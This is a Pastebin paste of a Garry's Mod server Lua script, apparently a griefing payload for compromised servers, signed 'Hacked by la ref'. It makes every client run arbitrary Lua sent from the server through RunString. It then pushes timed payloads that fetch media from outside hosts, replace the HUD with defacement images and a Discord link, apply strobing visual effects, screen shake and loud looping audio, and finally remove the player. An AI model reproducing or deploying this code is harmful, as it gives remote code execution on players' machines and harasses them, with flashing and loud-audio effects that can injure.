API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jun 17th, 2019
47
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.61 KB | None | 0 0
raw download clone embed print report
  1. --[[
  2. File: ?.lua
  3. For: Annoying pirates to death, then annoying them some more until they die a second time
  4. By: Ultra
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11. local ret = ""
  12. for _ = 1, math.random( intMin, intMax ) do
  13. ret = ret.. string.char( math.random(65, 90) )
  14. end
  15.  
  16. return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32. if not IsValid( pPlayer ) then return end
  33. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34. self:NextAction( pPlayer )
  35. end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "slua" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "lol jk" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69. end
  70. end )
  71.  
  72.  
  73.  
  74. --Sequence stack
  75. --Start some tunes and steam in our assets
  76. lol:PushAction( 0, function( pPlayer )
  77. lol:SendLua( pPlayer, ([=[
  78. sound.PlayURL( "https://testfdh.000webhostapp.com/screen.mp3", "", function()end )
  79.  
  80. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  81. local html = [[%s]]
  82. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  83. local pnl = vgui.Create( "HTML" )
  84. pnl:SetPos( ScrW() -1, ScrH() -1 )
  85. pnl:SetVisible( true )
  86. pnl:SetMouseInputEnabled( false )
  87. pnl:SetKeyBoardInputEnabled( false )
  88. pnl:SetSize( intSizeX, intSizeY )
  89. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  90.  
  91. local PageLoaded
  92. PageLoaded = function()
  93. local mat = pnl:GetHTMLMaterial()
  94. if mat then
  95. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  96. return
  97. end
  98.  
  99. timer.Simple( 0.5, PageLoaded )
  100. end
  101.  
  102. PageLoaded()
  103. end
  104.  
  105. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  106. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  107. LoadWebMaterial( "https://zupimages.net/up/19/25/c7uq.jpg", "hud3", 222, 200 )
  108. LoadWebMaterial( "http://inj3menu.000webhostapp.com/muerte.gif", "xhair", 240, 320 )
  109. LoadWebMaterial( "https://www.zupimages.net/up/19/24/mn6g.png", "doritos", 183, 256 )
  110. LoadWebMaterial( "http://inj3menu.000webhostapp.com/hacked.png", "fedora", 128, 128 )
  111. LoadWebMaterial( "http://inj3menu.000webhostapp.com/rip.png", "dew", 110, 256 )
  112. LoadWebMaterial( "https://zupimages.net/up/19/24/j5zn.png", "awp", 128, 128 )
  113. ]=]):format(lol.m_strImageLoadHTML) )
  114. end )
  115.  
  116. --HUD swap
  117. lol:PushAction( 31, function( pPlayer )
  118. lol:SendLua( pPlayer, [[
  119. (GAMEMODE or GM).CalcView = function() end
  120. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  121.  
  122. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  123. for k, v in pairs(remove) do
  124. hook.GetTable()[v] = {}
  125. end
  126.  
  127. local function GetWebMat( strURL )
  128. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  129. end
  130.  
  131. hook.Add( "HUDPaint", "newhud", function()
  132. surface.SetDrawColor( 255, 255, 255, 255 )
  133.  
  134.  
  135. if GetWebMat( "hud1" ) then
  136. surface.SetMaterial( GetWebMat("hud1")[1] )
  137. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  138. end
  139. if GetWebMat( "hud2" ) then
  140. surface.SetMaterial( GetWebMat("hud2")[1] )
  141. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  142. end
  143. if GetWebMat( "hud3" ) then
  144. surface.SetMaterial( GetWebMat("hud3")[1] )
  145. surface.DrawTexturedRect( 45, ScrH() -450, 450, 450 )
  146. end
  147. if GetWebMat( "xhair" ) then
  148. surface.SetMaterial( GetWebMat("xhair")[1] )
  149. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  150. end
  151.  
  152. if GetWebMat( "doritos" ) then
  153. surface.SetMaterial( GetWebMat("doritos")[1] )
  154. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 250 *(350 /350), 256, CurTime() *512 )
  155. end
  156. if GetWebMat( "dew" ) then
  157. surface.SetMaterial( GetWebMat("dew")[1] )
  158. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  159. end
  160. if GetWebMat( "fedora" ) then
  161. surface.SetMaterial( GetWebMat("fedora")[1] )
  162. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  163. end
  164. if GetWebMat( "awp" ) then
  165. surface.SetMaterial( GetWebMat("awp")[1] )
  166. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  167. end
  168. if GetWebMat( "dew" ) then
  169. surface.SetMaterial( GetWebMat("dew")[1] )
  170. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  171. end
  172. if GetWebMat( "fedora" ) then
  173. surface.SetMaterial( GetWebMat("fedora")[1] )
  174. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  175. end
  176. if GetWebMat( "awp" ) then
  177. surface.SetMaterial( GetWebMat("awp")[1] )
  178. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300, 250, CurTime() *512 )
  179. end
  180.  
  181. draw.SimpleTextOutlined(
  182. "Hacked by \"la ref\" - Discord: la ref#8219",
  183. "DermaLarge",
  184. ScrW() /2 +math.random( -8, 8 ),
  185. ScrH() /2 +math.random( -8, 8 ) +64,
  186. Color( 0, 69, 175, 250 ),
  187. TEXT_ALIGN_CENTER,
  188. TEXT_ALIGN_CENTER,
  189. 1,
  190. Color( 0, 0, 255, 255 )
  191. )
  192. draw.SimpleTextOutlined(
  193. "Discord server : \"https://discord.gg/uXXNfmv\".",
  194. "DermaLarge",
  195. ScrW() /2 +math.random( -12, 8 ),
  196. ScrH() /4 +math.random( -12, 8 ) +64,
  197. Color( 0, 239, 159, 71 ),
  198. TEXT_ALIGN_CENTER,
  199. TEXT_ALIGN_CENTER,
  200. 1,
  201. Color( 0, 0, 255, 255 )
  202. )
  203. end )
  204.  
  205. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  206. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  207.  
  208. surface.PlaySound( "garrysmod/save_load4.wav" )
  209. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  210. ]] )
  211. end )
  212.  
  213. --Disco time
  214. lol:PushAction( 10, function( pPlayer )
  215. local idx = pPlayer:EntIndex()
  216. timer.Create( "beat".. idx, 0.42, 0, function()
  217. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  218. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  219. end )
  220.  
  221.  
  222. lol:SendLua( pPlayer, [[
  223. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  224. local time = 0
  225.  
  226. hook.Add( "Think", "wat", function()
  227. if CurTime() < time then
  228. return
  229. end
  230.  
  231. time = CurTime() +0.05
  232. for i = 1, 16 do
  233. local part = emitter:Add(
  234. "particles/balloon_bit",
  235. LocalPlayer():GetPos() +Vector(
  236. math.random( -256, 256 ),
  237. math.random( -256, 256 ),
  238. 256
  239. )
  240. )
  241.  
  242. if part then
  243. local Size = math.random( 4, 7 )
  244.  
  245. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  246. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  247. part:SetDieTime( 4.5 )
  248. part:SetGravity( Vector(40, 0, -250) )
  249. part:SetLifeTime( 0 )
  250. part:SetStartSize( Size /2 )
  251. part:SetEndSize( Size )
  252. part:SetCollide( true )
  253. end
  254. end
  255. end )
  256. ]] )
  257.  
  258. lol:SendLua( pPlayer, [[
  259. hook.Add( "RenderScreenspaceEffects", "wat", function()
  260. local sinScaler = math.sin( CurTime() )
  261. DrawBloom(
  262. 0,
  263. 3,
  264. sinScaler *math.Rand(1, 8),
  265. sinScaler *math.Rand(1, 8),
  266. 6,
  267. math.Rand(0.5, 2),
  268. math.Rand(0, 0.3),
  269. math.Rand(0, 0.3),
  270. math.Rand(0.5, 1)
  271. )
  272.  
  273. DrawColorModify{
  274. ["$pp_colour_addr"] = 0,
  275. ["$pp_colour_addg"] = 0,
  276. ["$pp_colour_addb"] = 00,
  277. ["$pp_colour_brightness" ] = 0,
  278. ["$pp_colour_contrast" ] = 1,
  279. ["$pp_colour_colour" ] = 1,
  280. ["$pp_colour_mulr" ] = 0,
  281. ["$pp_colour_mulg" ] = 0,
  282. ["$pp_colour_mulb" ] = 1
  283. }
  284. end )
  285.  
  286. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  287. mdl:SetNoDraw( true )
  288. local posCache, time = {}, 0
  289.  
  290. hook.Add( "HUDPaint", "dance", function()
  291. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  292. local idx = mdl:LookupSequence("taunt_dance")
  293. mdl.SeqDuration = mdl:SequenceDuration( idx )
  294. mdl.SeqStart = CurTime()
  295. mdl:ResetSequence( idx )
  296. end
  297.  
  298. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  299.  
  300.  
  301. local w, h = 300, 300
  302. local ang = Angle( 0, 0, 0 )
  303.  
  304. for i = 1, 32 do
  305. if CurTime() > time then
  306. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  307. end
  308. local x, y = posCache[i][1], posCache[i][2]
  309.  
  310. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  311. cam.IgnoreZ( true )
  312. render.SuppressEngineLighting( true )
  313.  
  314. render.SetLightingOrigin( mdl:GetPos() )
  315. render.ResetModelLighting( 1, 1, 1 )
  316. render.SetColorModulation( 0, 0, 1 )
  317.  
  318. mdl:DrawModel()
  319.  
  320. render.SuppressEngineLighting( false )
  321. cam.IgnoreZ( false )
  322. cam.End3D()
  323. end
  324.  
  325. if CurTime() > time then
  326. time = CurTime() +0.15
  327. end
  328. end )
  329.  
  330. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  331. ]] )
  332. end )
  333.  
  334. --Let the beat drop
  335. lol:PushAction( 54, function( pPlayer )
  336. lol:SendLua( pPlayer, [[
  337. hook.Add( "GetMotionBlurValues", "wat", function()
  338. return 0, 0, 1, math.sin(CurTime() *13)
  339. end )
  340.  
  341. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  342. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  343. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  344. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  345. end )
  346.  
  347. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  348. render.SetMaterial( Material("cable/blue_elec") )
  349. for i = 1, 32 do
  350. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  351. end
  352. end )
  353.  
  354. timer.Create( "thedrop", 0.42, 0, function()
  355. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  356. end )
  357. ]] )
  358. end )
  359.  
  360. --EVIL TIME rip headpones
  361. lol:PushAction( 175, function( pPlayer )
  362. lol:SendLua( pPlayer, [[
  363. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  364.  
  365. local sounds = {}
  366. for i = 1, 4 do
  367. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  368. sounds[#sounds +1] = pChan
  369. end )
  370. end
  371.  
  372. timer.Create( "asdf", 1, 0, function()
  373. if #sounds ~= 4 then return end
  374. timer.Destroy( "asdf" )
  375. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  376. end )
  377.  
  378. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  379. ]] )
  380.  
  381. pPlayer:Remove()
  382. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!